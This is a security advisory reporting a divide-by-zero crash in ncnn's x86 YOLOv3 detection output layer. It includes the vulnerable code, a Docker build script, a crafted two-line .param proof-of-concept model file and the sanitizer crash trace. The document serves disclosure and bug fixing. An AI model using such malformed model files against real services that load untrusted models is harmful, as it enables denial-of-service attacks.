Divide-By-Zero DoS in YOLOv3 Output
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/yolov3detectionoutput_x86.cpp:37 in Yolov3DetectionOutput_x86::forward
Sanitizer verdict: FPE on unknown address 0x631df441bdcb (pc 0x631df441bdcb bp 0x7ffe92af9230 sp 0x7ffe92af8760 T0)
Summary
A Yolov3DetectionOutput layer with 1=0 makes the x86 forward implementation divide the input channel count by zero, aborting the process with SIGFPE. num_box is taken verbatim from the attacker-supplied .param file and is used as a divisor before any consistency check on the layer geometry. The PoC drives it with ncnnoptimize poc.param null out.param out.bin 0, whose shape_inference() runs the layer; an inference process running the same model crashes identically.
Detail
Yolov3DetectionOutput::load_param reads parameter id 1 into num_box, defaulting to 5, and applies no lower bound. Yolov3DetectionOutput_x86::forward first sizes a vector with that value and then uses it as the divisor for the channel stride; the guard against a malformed layout is evaluated on the line after the division.
// src/layer/yolov3detectionoutput.cpp:34
num_box = pd.get(1, 5);
// src/layer/x86/yolov3detectionoutput_x86.cpp:33
int w = bottom_top_blobs.w;
int h = bottom_top_blobs.h;
int channels = bottom_top_blobs.c;
//printf("%d %d %d\n", w, h, channels);
const int channels_per_box = channels / num_box;
// anchor coord + box score + num_class
if (channels_per_box != 4 + 1 + num_class)
return -1;
The PoC graph is Input data 0 1 data 0=1 1=1 2=1 feeding Yolov3DetectionOutput yolo 1 1 data out 0=1 1=0, so the incoming blob has channels == 1 and num_box == 0. all_box_bbox_rects.resize(0) at line 30 succeeds silently, and line 37 then evaluates 1 / 0.
The integer division by zero raises SIGFPE inside NetPrivate::do_forward_layer, reached from ModelWriter::shape_inference() at tools/modelwriter.h:435 in the PoC. Because this is the ordinary forward path, the same input crashes a plain Extractor::extract call as well.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-divide-by-zero-dos-in-yolov3-output && cd ncnn-poc-divide-by-zero-dos-in-yolov3-output
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
2 2
Input data 0 1 data 0=1 1=1 2=1
Yolov3DetectionOutput yolo 1 1 data out 1=0
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x6028d8916dcb (pc 0x6028d8916dcb bp 0x7ffd92892210 sp 0x7ffd92891740 T0)
#0 0x6028d8916dcb in ncnn::Yolov3DetectionOutput_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/yolov3detectionoutput_x86_avx512.cpp:37
#1 0x6028d2f5b70b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
#2 0x6028d2f43b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#3 0x6028d2fa39e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#4 0x6028d2e353c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#5 0x6028d2eb2eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#6 0x7e636f4311c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x7e636f43128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x6028d2e32624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/yolov3detectionoutput_x86_avx512.cpp:37 in ncnn::Yolov3DetectionOutput_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const
==1==ABORTING
Credit
Zheng Yu @ DepthFirst